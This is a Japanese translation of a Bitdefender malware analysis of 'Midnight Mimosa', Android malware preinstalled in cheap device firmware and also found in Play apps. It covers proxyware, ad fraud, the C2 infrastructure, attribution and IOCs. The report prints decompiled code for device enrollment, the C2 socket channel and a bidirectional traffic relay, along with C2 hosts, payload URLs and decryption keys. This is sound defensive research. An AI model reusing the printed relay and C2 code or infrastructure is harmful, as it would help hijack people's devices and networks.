端末を、遠隔操作される中継ノードとして登録します。宣言する権限はINTERNETとACCESS_NETWORK_STATEだけで、広告もUIも動的コード読み込みもありません。ローダーは自らを「EnLoaderLib」v1.0.6と名乗ります。ノードのライフサイクル全体(登録、コマンド、トンネル、中継)は、4つのコード箇所で実装されています。

登録:各端末がノードとしてC2に登録されます。

// h/i.java 
String uuid = new h(i.this.m).a().toString();       // per-device UUID 
jSONObject.put("os",  "android"); 
jSONObject.put("uuid", this.l);                       // node id 
jSONObject.put("is",  this.f192e);                    // product/campaign id 
jSONObject.put("v",   "v1.0.6");                      // EnLoaderLib version 
jSONObject.put("inf", a2);                            // device fingerprint 
// h/g.java  — the fingerprint reported: 
Build.MODEL +"#*#"+ Build.VERSION.RELEASE +"#*#"+ Build.VERSION.SDK_INT +"#*#"+ Build.ID +"#*#"+ Build.BRAND;

コマンドチャネル:制御ホストへの生のTCPソケット(HTTPではない)

// h/k.java 
Socket socket = new Socket(); 
socket.connect(new InetSocketAddress(split[0], Integer.parseInt(split[1])), 40000); 
// control host built in h/i.java: 
String.format("%s.%s.%s:6000", productId, "apple", domainPool[nextInt]);   // raw TCP :6000 
domainPool = {"0aa0cf0637d66c0d[.]com","aa86a52a98162b7d[.]com","442fe7151fb1e9b5[.]com","v46wd6uramzkmeeo[.]in"};

コマンドループ:C2がターゲットのリストを送り込み、端末は各ターゲットへのトンネルを開き、スケジュールに従って再ポーリングします。

// h/i.java 
JSONObject o = new JSONObject(str); 
JSONArray  s = o.getJSONArray("s");                   // "s" = array of "host,port" targets 
for (int i = 0; i < s.length(); i++) { 
    String[] split = ((String) s.get(i)).split(",");  // "host,port" 
    i.this.t(split[0], split[1], optInt3, optInt2, optString);   // spawn a tunnel per target 
} 
int t = o.optInt("t", 0); 
if (t > 0) f191d.scheduleAtFixedRate(new a(), t, t, TimeUnit.MINUTES);   // periodic re-poll

中継ポンプ:バイト列がC2側とターゲット(プロキシの出口)の間で、そのまま受け渡されます。

// h/m.java  — d.run() opens two sockets and wires both directions: 
socket.connect(new InetSocketAddress(nVar.f231c, nVar.f232d), 5000);   // C2 / relay coordinator 
socket2.connect(mVar.f(str, str2, i), 5000);                           // the target host:port 
execute(new a(socket, socket2));  execute(new b(socket2, socket));     // full-duplex relay 
public final void m(Socket socket, Socket socket2) {                   // the byte pump 
    h.d b2 = l.b(l.g(socket));    // source 
    h.c a2 = l.a(l.d(socket2));   // sink 
    while (!b2.e()) { 
        long d2 = b2.d(bVar, 8192L);          // read up to 8KB from one socket 
        if (d2 > 0) { a2.b(bVar, d2); a2.flush(); }   // write straight to the other 
    } 
}

登録 → コマンド → トンネル → 中継(h/i、h/k、h/m、h/g)。中央のコントローラー、UUID/プロダクトIDで管理される登録済みノード、リモートから供給されるhost:portのターゲット、双方向のバイト中継という構成です。被害者の通信環境がレジデンシャルプロキシの出口ノードとして収益化され、ローカルネットワークを含む任意のホストに到達できます。

動的検証により、制御インフラが稼働中であることが確認されました。実行すると、クライアントはワイルドカードDNS経由で制御ホストを名前解決し、ポート6000でTCP接続を確立して登録レコードを送信します。制御ホストは、試行のたびに4つのドメイン間でローテーションします。

control host : OeawmFEDPClEAiH9.apple.0aa0cf0637d66c0d[.]com:6000   ->  85.17.70.38:6000 
registration : {"os":"android","uuid":"<node>","is":"OeawmFEDPClEAiH9","v":"v1.0.6", 
                "inf":"<device-fingerprint>","n":"t"} 
response     : (empty — no relay targets returned to a freshly-enrolled node) 
rotation     : next attempt -> OeawmFEDPClEAiH9.apple.442fe7151fb1e9b5[.]com:6000

制御サーバー85.17.70.38:6000(ワイルドカードDNSのドメイン経由で到達)は稼働しており、ノードの登録を受け付けます。今回の観測では、登録直後のノードに中継ターゲットは返されず、トラフィックの中継は行われませんでした。

2つ目の同梱パートナー(com.mobile.applock.wt)は、同じアイコンなしの偽アプリロックのシェルに、別のペイロードを載せたものです。リモートのDEX広告モジュールをリフレクションで読み込む広告詐欺モジュール(com.ctr.cbd)です。このためエネーブラーは、C2がどのプラグインを配信するかによって、プロキシウェアと広告詐欺ドロッパーの両方を届けます。

C2インフラ

api.weatherlive.worldへの2つのHTTPSチャネルは、どちらもAES暗号化され、リクエストにはHmacMD5署名が付いています。コマンドチャネル(getConfigs)は、復号すると端末フィンガープリントのリクエストと、モジュール制御のレスポンスになります。

POST https://api.weatherlive[.]world/br_upgrade/upgradeV2/getConfigs 
headers: App-Id: 20240425 | api-id | nonce | timestamp | signature(HmacMD5) 
device SENDS (AES/ECB/PKCS5, decrypted): 
  {"imei":..,"androidId":..,"mac":..,"simCode":"CN","channelId":"20240425","timezone":..} 
C2 RETURNS (AES/CBC/PKCS5, decrypted) — remote module control plane: 
  {"list":[{"sdkName":"wz","status":1,"updateStatus":1,"version":20311}, 
           {"sdkName":"earn",...,"version":5}, 
           {"sdkName":"bl",...,"version":10014}]} 
  per-module: {"size":"20311","iconDesc":"1782294f...","warningIcon":"https://oss.showtimetool[.]com/...png"}

getConfigsの制御チャネルは、どのプラグインを、どのバージョンで実行し、どこから取得するか(iconDescのmd5をキーとするwarningIcon URL)を指示します。テレメトリビーコンの/odborwer_dot/cmは、固定の応答{“a”:0}しか返しません。

モジュールのダウンロードURL(復号した設定から取得。CDN上では.pngとして配信):

  • wz (v20311) hxxps://oss[.]showtimetool[.]com/ssc/2026/08-13/[REDACTED].png
  • kwlib (v100007) hxxps://oss[.]showtimetool[.]com/ssc/2026/07-04/[REDACTED].png
  • gogo (v10014) hxxps://oss[.]showtimetool[.]com/ssc/2026/03-09/[REDACTED].png
  • earn (v5) hxxps://oss[.]showtimetool[.]com/ssc/2025/12-07/[REDACTED].png

マニフェストの類似性によるクエリで、他にも偽システムアプリが見つかりました。AOSPを装うアプリはマニフェストの構造が似ているため、候補はマニフェストのスコアではなく、ファミリー特有のマーカーで確定しました。ネイティブコア(libeasy.so、またはその名称変更版)の存在、RC4で投下されるフレームワークの名前空間cn.kw.lib、C2のapi.weatherlive.world、ユーザー補助のフック、そして特徴的なversionCode 900000以上の体系です。

エネーブラーは単一のパッケージではありません。同じ中核部分が、複数の「システム」名で出荷されています。

サンプル(MD5) パッケージ(versionCode) 確認されたマーカー 判定
b862681953e945439167a736ba4cd41b com.android.system.lite(900000) libeasy.so、api.weatherlive.world、MonitorAccessibility 同一ファミリー:このエネーブラーの兄弟ビルドで、異なる署名証明書を使用
d4ceb05682ecd60f4ebb4e76e02fcf7d com.android.sys.prot(900014) cn.kw.lib、api.weatherlive.world、MonitorAccessibility。ネイティブコアはlibunionprt.soに名称変更 同一ファミリー:亜種のエネーブラー
2b784622422f4280e0b3e38b30dd87bc com.android.sys.gmsprot(100000) libeasy.so、cn.kw.lib、api.weatherlive.world 同一ファミリー:亜種のエネーブラー

バイナリ分析により確認。com.android.system.lite / com.android.sys.*のクラスター(versionCode 900000以上、「system」/「sys」という命名)は、libeasy / cn.kw.libのコアとweatherliveのC2を共有する、一つのエネーブラーファミリーです。

なぜShenzhen Zediel Co., Ltd.なのか

エネーブラーのcom.android.system.liteは、プラットフォームキーの証明書0105bc4c…(DN CN=ZED, O=ZED, L=ShenZhen, C=CN, [email protected])で署名されています。これは、IEEEのMACアドレス割り当てを保有する、深センの実在のAndroid OEM/タブレットメーカーShenzhen Zediel Co., Ltd.に対応します。

MAC OUI A0:53:94(MA-Lブロック、2021-11-03登録)→ 端末レベルのIOC。Wi-FiのMACアドレスがA0:53:94で始まる端末は、Zedielのビルドです。これを使えば、インストールされているペイロードに関係なく、テレメトリ上で影響を受けたすべての端末を探し出し、実際の規模を推定できます。

テレメトリで見られる端末モデルも、これを独立して裏付けています。影響を受けた端末が報告するモデル文字列の大半は、低価格のホワイトレーベル端末を指しており、2つのパターンに分かれます。

1つ目は、地域コード付きのファームウェア文字列です。_EEAや_USといった接尾辞は、無名のODM端末に典型的な地域ビルドの印で、生のボードサポートパッケージ名も併せて見られます。ボード名が製品モデルとして現れるのは、ユーザーがインストールしたアプリの仕業ではありません。コンポーネントがベンダーのファームウェアイメージの中に収められている場合に起こることです。

2つ目は、フラッグシップ機の偽造品の命名です。ブランドのない端末が、Samsungのフラッグシップを模倣して名乗っています。さらに本物の低価格タフネスブランドもあり、そのうち2つは実在のベンダーに対応しています。

パターン

確認されたモデル文字列

地域コード付きODMファームウェアビルド

J10_EEA, A9_EEA, T13_EEA, Q6_EEA

ボードサポートパッケージ名

k62v1_64_bsp (MediaTek MT6762)

フラッグシップ偽造品の命名

S25 Ultra, S24 Ultra, S26 Ultra

低価格タフネスブランド

S200 X (Doogee), KINGKONG X (Cubot)

テレメトリから得られた代表的な端末モデル文字列をパターン別にまとめたもの。地域コードとボード名はファームウェアレベルでの配信を示し、フラッグシップ偽造品の命名は、流通するマーケットプレイスのセグメントを示します。

この一覧は、標的のリストではなく、流通メカニズムの証拠として読むのが適切です。地域コード付きのファームウェア文字列とボードレベルのビルド名は、ペイロードがROM内に存在することを示しています。

フラッグシップ偽造品の名前や低価格タフネスブランドは、オンラインマーケットプレイスを通じて世界中で販売されるODMのエコシステムを指しています。個々のモデル名の重要性は、それらが総体として示すこと、つまりファームウェアに仕込まれて出荷されたという事実に比べれば、はるかに小さなものです。

重要な注意:上記の分析は、エネーブラーのコンポーネントに署名したプラットフォームキーに基づいて、ファームウェア/端末のサプライチェーンを帰属させたものです。この技術的な帰属は、Shenzhen Zedielがマルウェアを作成・配布した、あるいはその存在を認識していたことの証明にはなりません。ペイロードの運営者(後述)は別のアクターとして追跡しており、証明書の保有者とマルウェアが最終的に組み込まれる地点の間には、複数の仲介者が存在する可能性があります。

マルウェア運営者の系譜:Joker → Phantom/Click → 今回のクラスター

Dr.WebのAndroid.Phantom.5のエントリには、私たちが確認したIOCそのものであるcgb.jingongbuxiao[.]comと5.ahd187[.]com/thirdsdk/flowcashpack/が掲載されています。また、zhuifengzhe[.]topにも言及しており、これはAndroid.Joker.310.origin(2021年)(プレミアムSMS契約詐欺+リモートコード読み込み)で使われたドメインです。これにより、複数年にわたる運営者のタイムラインがつながります。

時期

ファミリー(Dr.Web)

挙動

共有インフラ

2021

Android.Joker.310/242.origin

プレミアムSMS詐欺+リモートDEX読み込み

Zhuifengzhe[.]top

2025

Android.Phantom.5(ドロッパー)→ Android.Click.429.origin

バイト配列復号型ドロッパー → JS
WebViewクリック詐欺

Cgb.jingongbuxiao[.]com、

5.ahd187[.]com/thirdsdk/flowcashpack/、

Zhuifengzhe[.]top、

Fyapi.freeflightbird[.]com、

Newsadapi.zhuifengzhe[.]top

2024〜2025

Midnight Mimosa

プリインストールのエネーブラー+
広告詐欺+クリック詐欺+レジデンシャルプロキシウェア

api.weatherlive.world、

Cgb.jingongbuxiao[.]com、

5.ahd187[.]com、

プロキシウェアのC2(EnLoaderLib/dykr)

Google Play上の同じコード

このキャンペーンは、プリインストールのファームウェアだけにとどまりません。Google Playで公開されている13本のアプリが、投下されるカバーアプリと同じファミリーのマーカーを備えていることが判明しました。いずれもPlay自身が配信したビルドです。

#

パッケージ

1

com.audify.editor.wavrge

2

appicon.diy.tools.prop

3

com.audify.editor.pro

4

com.prorestore.qr

5

com.message.recovery.prorestore

6

com.go.weather.mot

7

com.cool.weather.yl

8

com.dmstudio.weather

9

com.dl.guard.lock

10

picturetranslate.extractor.text.lite

11

com.notemaster.record.mark

12

com.arabmusic.tap.aghani_tamerhosny

13

org.life.goal.tools

広告詐欺ファミリーのマーカーを持つ、Google Play公開のアプリ。

これらは正規のPlayビルドです。先に述べた、偽装されたインストールを見抜く決め手となった、Playの署名ブロックを備えています。出自は本物です。つまりこれらのアプリはPlayの審査を通過し、天気アプリやQRスキャナーを探していたユーザーにGoogleが配信したことになります。偽造ハードウェアは関係ありません。

署名の識別情報は意図的にローテーションされています。13本のパッケージは13種類の異なる署名証明書を持ち、少なくとも2つの開発者アカウント(fivedevとCPS Developer)にまたがっています。残りは特定できていません。

これらを結びつけているのは、証明書ではなく共有コードです。パッケージごとに署名の識別情報を変えるアクターは、そのうちのどれかがいずれ摘発されることを織り込んでいます。

これらのアプリは機能を提供する一方、アプリの外でも広告を読み込んで表示し、ユーザーが端末を使っていないときでさえ表示することがあります。

以下は、同じサーバーおよび組み込みマルウェアと通信する、Google Playストア掲載アプリの一例です。

このキャンペーンには、2つの独立した配信チャネルがあります。1つは安価なハードウェアのファームウェアに紛れ込み、何もインストールを選んでいないユーザーに届きます。もう1つは公式ストアを経由し、自らの意思で選んだユーザーに届きます。どちらも同じインフラに対して同じ広告詐欺コードを実行しており、片方のチャネルを断っても、もう片方は残ります。

結論

プリインストールのマルウェアは、別次元の脅威です。ユーザー側の防御策はすべて、インストール時に所有者が関与していることを前提にしています。インストールのプロンプト、ストアの審査、Play Protect、そして後からアンインストールできることです。

INSTALL_PACKAGESとGRANT_RUNTIME_PERMISSIONSを保持するプラットフォーム署名付きのシステムアプリは、所有者をこの流れから完全に排除します。さらにこのキャンペーンは、最後に残る自動的な守り手も停止させます。侵害は、端末の電源が初めて入る前に完了しています。 

多層構造そのものが防御になっています。APKは空のシェルです。ネイティブライブラリは、暗号化されたブロブに対するトランポリンです。フレームワークの文字列は暗号化されています。プラグインは拡張子.oを装ったJARで、ペイロードは.pngとして配信されるAPKです。モジュールはリモートサーバーから供給されるため、静的に調べたサンプルには、有効なペイロードがまったく含まれていないことも少なくありません。検知するには、パッケージングを見透かすか、挙動を監視する必要があります。 

運営者は一つで、名前は多数です。パッケージ名、署名証明書、名称変更されたネイティブライブラリがローテーションされるため、パッケージ名のブロックリストはたちまち役に立たなくなります。検知は、不変の中核であるlibeasy.soとcn.kw.lib.hex、そしてC2のapi.weatherlive.worldを軸にすべきです。 

対処をアンインストールに頼ることはできません。根幹のコンポーネントがシステムパーティションに入っているため、影響を受けた所有者は通常の方法では削除できないのです。端末をクリーンにするには、ファームウェアレベルのクリーンアップか、ADB経由でのコンポーネントの無効化が必要です。ただし、これらの端末を所有するほとんどの人にとって、どちらも現実的ではありません。恒久的な解決の鍵を握るのは、影響を受けたファームウェアを出荷・販売するベンダーとマーケットプレイスです。

侵害指標(IOC)

種別

指標

内容

ホスト

api.weatherlive[.]world/br_upgrade/upgradeV2/getConfigs

AES/HmacMD5
モジュール制御チャネル

ホスト

api.weatherlive[.]world/odborwer_dot/cm

テレメトリビーコン
(DotReporter)

ホスト

oss.showtimetool[.]com

モジュール/アセット用CDN
(ペイロードは.pngとして配信)

ホスト

39.96.8.180:9008/ssc/rprt/bug

DX/S1
フレームワークのバグレポートC2

ホスト

120.78.215.151:80/api/bugLog

埋め込みフレームワークの
クラッシュ用C2

ホスト

85.17.70.38:6000
(稼働中)

EnLoaderLibプロキシウェアC2(applock.en)。下記のドメイン経由で到達

ホスト

*.apple.{0aa0cf0637d66c0d[.]com, aa86a52a98162b7d[.]com,
442fe7151fb1e9b5[.]com, v46wd6uramzkmeeo[.]in}

プロキシウェアの制御ホスト。パターンは {productId}.apple.<domain>:6000

パッケージ

com.android.system.lite
(vc 900000, “System”)

エネーブラー

パッケージ

com.mobile.applock.en
/ .wt / .tg

投下されるgogoドロッパー(プロキシウェア/広告詐欺)

ファイル

libeasy.so
(a8847b68428fde206b6dff8001051f92)

ネイティブコア。cn.kw.lib.hexをRC4で投下

暗号

AES-128-CFB
key=MD5(“aGV4QCFRQFcjRQ==”) IV 0102030405060708

hexフレームワークの文字列

暗号

AES-128-CFB
key=MD5(“dHhAZXhAc2Vy”)

エネーブラーの文字列

暗号

AES/CFB key=MD5(“ZHhAIVFAVyNF”) (dx@!Q@W#E)

ステージ3プラグインの文字列

マーカー

インストーラー名がcom.android.vendingだが、Playフロスティング署名がない

偽装されたインストール元、偽造されたPlayの出自

サンプル全体(120件のMD5ハッシュ)

MD5

パッケージ

05ae89e761a890fa24f80f4be7263651

com.android.browser

1da42505f1c83959c7f901f5139a158e

com.android.browser

a147cd8f72aadfcf78f7723db6813e86

com.android.browser

f456f0c6b89bd3d5124699d43971d094

com.android.browser

2c77653b889dfccd649b82446f8c0d1b

com.android.deskclock

5d29e9b24708c3ec36d1d59036124838

com.android.deskclock

998e9010e5dfc4e4645f5572cbbe5b53

com.android.deskclock

b3a4405d1b8d43545d07b10581008d32

com.android.deskclock

0377ca97ac0ca35f9134052fede67a81

com.android.gallery3d

0b0d8e995e6ff24d4e9d00417446c25e

com.android.gallery3d

1414d4ef2d1191080abc59a407dcb6c5

com.android.gallery3d

345057421c7d9ac2b671c47449f35030

com.android.gallery3d

36deebfcda4012d18706cd170c1edf1f

com.android.gallery3d

37f18a20b9cf32e6f07450e903eaad7c

com.android.gallery3d

4507363415e7dc6d2cab14eeed137f6c

com.android.gallery3d

512a6db4a22244272826f39da020fb44

com.android.gallery3d

5b3a49938f455d1197736971c4c07228

com.android.gallery3d

6aca76699ec0bb8e51372d5c68c8359b

com.android.gallery3d

815b910f1efc95f38ba0c5b12c4f2129

com.android.gallery3d

c75ec7f3bcbc879aae9a21ad544d3232

com.android.gallery3d

d9fc6b2cd5eaa3929207f1029663d947

com.android.gallery3d

e51c11442a529dcd06dc7c8e45974ec2

com.android.gallery3d

e9b91e1d94bb3ff9a1c00b1c13eb7960

com.android.gallery3d

be22c91b4578ac2357a16133615df335

com.android.settings

d5d88214170875386ab855172f881e51

com.android.sys.bcprot

dce5b0dc0e7d7059b5ab8384a7c24ec4

com.android.sys.bcprot

61aac6a98abd6dcff0dc41bb88159786

com.android.sys.dts

2b784622422f4280e0b3e38b30dd87bc

com.android.sys.gmsprot

2b7f1a7d5f5515c05d0c8e3857155ae2

com.android.sys.prot

3d3358b1057b1bfbd7e60577d8a31e0c

com.android.sys.prot

7400c34f7c6f866499029f5e759f58bd

com.android.sys.prot

d4ceb05682ecd60f4ebb4e76e02fcf7d

com.android.sys.prot

60bc23d3d453f258e2c4ca421cd086a9

com.android.system.lite

b862681953e945439167a736ba4cd41b

com.android.system.lite

ed1a6bed83899952b464c27aef9752cc

com.android.weapps

0903d7fd3e1d4a599a7eb3c5d356779b

com.android.weiapps

a57a1ba15364dfb35d334f644d7049e8

com.mb.applock.a02

cde0490e11db8ad54737c1df59ec658b

com.mb.applock.ea

08d231c6a5303e543eb60d4181f6a4ea

com.mobile.applock.en

7f7747575980098bdc98e7b7aa362697

com.mobile.applock.en

d3faec4f013c4a1e84a1d681448312c0

com.mobile.applock.en

e75e183027bf897eda6447366c7acd01

com.mobile.applock.tg

20108557cacd24263e7e611afc327801

com.mobile.applock.wg

aac942aaf6ec0773cbac87fde4a6b284

com.mobile.applock.wg

cf20de9d9ddc952bb2265002d26a916f

com.mobile.applock.wg

f602230f54507cbddf5ef3014737d768

com.mobile.applock.wg

079298a7a506b376def4f4ff9a250672

com.mobile.applock.wt

20cefb2c667f945d482daded7e698eea

com.mobile.applock.wt

254bc5f6f81de1f3c47534e6febaf023

com.mobile.applock.wt

31b3280f1c0836c39c470932cf6c3e6f

com.mobile.applock.wt

3b35d3c5667136134b20a8411803c97d

com.mobile.applock.wt

3bc159537c909fa86bcc55eda127b5aa

com.mobile.applock.wt

42a9f64e75911c167ec7a163e8b24920

com.mobile.applock.wt

4a171f62d1bab01827b06ae73d4caafa

com.mobile.applock.wt

66c6512b9a73425aba40c8bfa95d23a0

com.mobile.applock.wt

6df909898f5f1394e78508d1152fab38

com.mobile.applock.wt

6ee2be3e5558085b532dacc8db61f3e9

com.mobile.applock.wt

6eea0568d5cc776ae03e09149cec3cd8

com.mobile.applock.wt

765d3ce85a6393d05973c4cfa7738116

com.mobile.applock.wt

90e0d27d808105167fdaa3a22b918217

com.mobile.applock.wt

9e7b34e63d8d38e37667f88a945ae69a

com.mobile.applock.wt

a02f28387527abe90d73d2879f671972

com.mobile.applock.wt

abe12db77a62ecb99d6ab5dc4fff18c7

com.mobile.applock.wt

de66cac88f156c3227749e03bdf7cf54

com.mobile.applock.wt

e6650dc6721aaa27f8a289ff92e613ff

com.mobile.applock.wt

e7c56b4f580da53cd0e4f11d1a11e402

com.mobile.applock.wt

2de346602433cdd1668f36b2e9db0be1

com.mobile.applock.xk1

af16072864ae0f9d755f8cf00fded359

appicon.diy.tools.prop

e974cf4cc5d55cddc04f026dd3ea72b8

appicon.diy.tools.prop

250205ee4b8de59e60c745856f439608

com.android.non.szcz

af7f1eef22bf5ee3d0a394f53ba7e1b8

com.arabmusic.tap.aghani_tamerhosny

7322d8a65a56a7ab09f4d526cb343e3d

com.awht.zfip.zfyg

0b8d3cd264c191f4884a25d0cc5318b5

com.cool.weather.yl

33b2d3ec9a35cfb0b5a5d7b24ce4140e

com.cool.weather.yl

3bb270d4927e2a8385793d9084a92fd3

com.cool.weather.yl

4e46549122c0236307c5eef8891466f5

com.cool.weather.yl

642d84ed5660407b972f1df642acb192

com.cool.weather.yl

9a3d04aa36654b5c4b21edd22e46f92d

com.cool.weather.yl

b7d0d5ae09b0d2d2f999c1087c450456

com.cool.weather.yl

cdfcc848e16660d607aba6ecf24567f4

com.cool.weather.yl

f0b7b1c940ebcee97eb68f528682fc50

com.cool.weather.yl

1150da1af88729e54a34b8da5a2741c7

com.dl.guard.lock

36f9e8cf47a28f9803fba427cf02a25c

com.dl.guard.lock

6739fe083cfa8dec9b4f989ccba0e99e

com.dl.guard.lock

ca7e2d265fc35aede432c4636a2cf4cb

com.dl.guard.lock

fcb9f38cc687fc8a4637e0acdf91ab66

com.dl.guard.lock

c55c9d7e12cc273b812ceffca8f62d4b

com.energy.appstore

9a46098de785ae732e5fced55a2f3063

com.fb.w.weather

d145b14b9cc15799485f2592b2c16d9a

com.fb.w.weather

0a26a9d5f7ab91cb5eed852cf83ef078

com.fe2bu1.wh

294ab3f586d76772ae89add417cf6324

com.fe2bu1.wh

a13af0174bc211709e8b73bf60492a17

com.fe2bu1.wh

b974ef4106af6b932df352563a9b8b3c

com.fe2bu1.wh

e9ec6d7b50c1e54cd523283b9de55e10

com.fe2bu1.wh

5400ffac371c5e5c9b7f3705ce9faca5

com.message.recovery.prorestore

92f2fd8bcccc8ec4ffa64c7f6b3b9b8d

com.message.recovery.prorestore

ab8d6be686ca9413e27a11e85f9cef1a

com.message.recovery.prorestore

879168159c155758dbfd7a76e8f21548

com.notemaster.record.mark

b6c5f7dfaf9d47cd67380a48df5e1731

com.notemaster.record.mark

cb19dbf279a3488aec76c17e8e122c14

com.notemaster.record.mark

fc812444baa071f5141ddad812d673de

com.notemaster.record.mark

4f7d3c5859100d65ff02449884841b9c

com.tst.blank

50e9cdc3ed145bbc688356eda07f8eb3

com.tst.blank

9f1e2249003ab22cf8a38048e0ff6f6c

com.tst.blank

e39bddf592016ad6d0784770df3e2ffe

com.yun.wth.er

7469c9c06e5f324ca608e0140156bbad

org.life.goal.tools

4521a5bbe0f33a15da86bd80ff5d6d9c

picturetranslate.extractor.text.lite

8ec360829f4f7ae8dcae47c02b996762

picturetranslate.extractor.text.lite

d56158a2cc8d13778df850907733b2c4

picturetranslate.extractor.text.lite

fac6548a4a7a88156468b809c4f877f5

com.audify.editor.wavrge

ac8957a474f8aa812c7b233aafde4723

appicon.diy.tools.prop

cf4f24fdd283f80313565b08fea9d06d

com.audify.editor.pro

3c098465af131141996ff840bd34e791

com.prorestore.qr

387f7af167530486adcf3d8546063462

com.go.weather.mot

ee4e778e53ce4d4339d7c7888d06384d

com.dmstudio.weather

c8ea2a7c1f52c4c2474475c28373ee27

com.dl.guard.lock

836739fe7196437d8e998245b6f2b3b4

picturetranslate.extractor.text.lite

d6ba4044f9d57f7e86d83187982ed593

com.notemaster.record.mark

838dc8fcde1b28171e404ece1cfcde44

com.arabmusic.tap.aghani_tamerhosny

da67e37be01c20566990152ecfb14ed1

org.life.goal.tools

免責事項:本記事は、Bitdefenderが継続的に取り組むセキュリティ研究の一環として、情報提供および教育目的でのみ公開するものです。ここに示す情報は、独自の検知技術と公開情報を用いてBitdefender Labsが実施した技術調査に基づいています。Bitdefenderは、本記事に記載された活動について法的な判断を行うものではなく、名前の挙がった団体が違法行為に関与したと主張するものでもありません。特定の企業やブランドに関連する証明書、パッケージ名、インフラの特定は、技術的な観測結果を反映したものにすぎず、当該関係者がマルウェアの配布を作成、配布、または認識しながら助長したとの主張を構成するものではありません。影響を受けたと考える読者は、ご自身の判断で、適切な当局や法律顧問に相談してください。本記事に記載されたドメイン名、URL、技術的指標は、消費者とセキュリティ専門家が潜在的に有害なインフラを識別する目的でのみ提供しています。言及されたすべての商標は、それぞれの所有者に帰属します。Bitdefenderは、本記事の情報に基づいて取られた行動について、一切の責任を負いません。

翻訳元: https://www.bitdefender.com/en-us/blog/labs/midnight-mimosa-malware

本記事は bitdefender.com の記事を翻訳・要約したものです。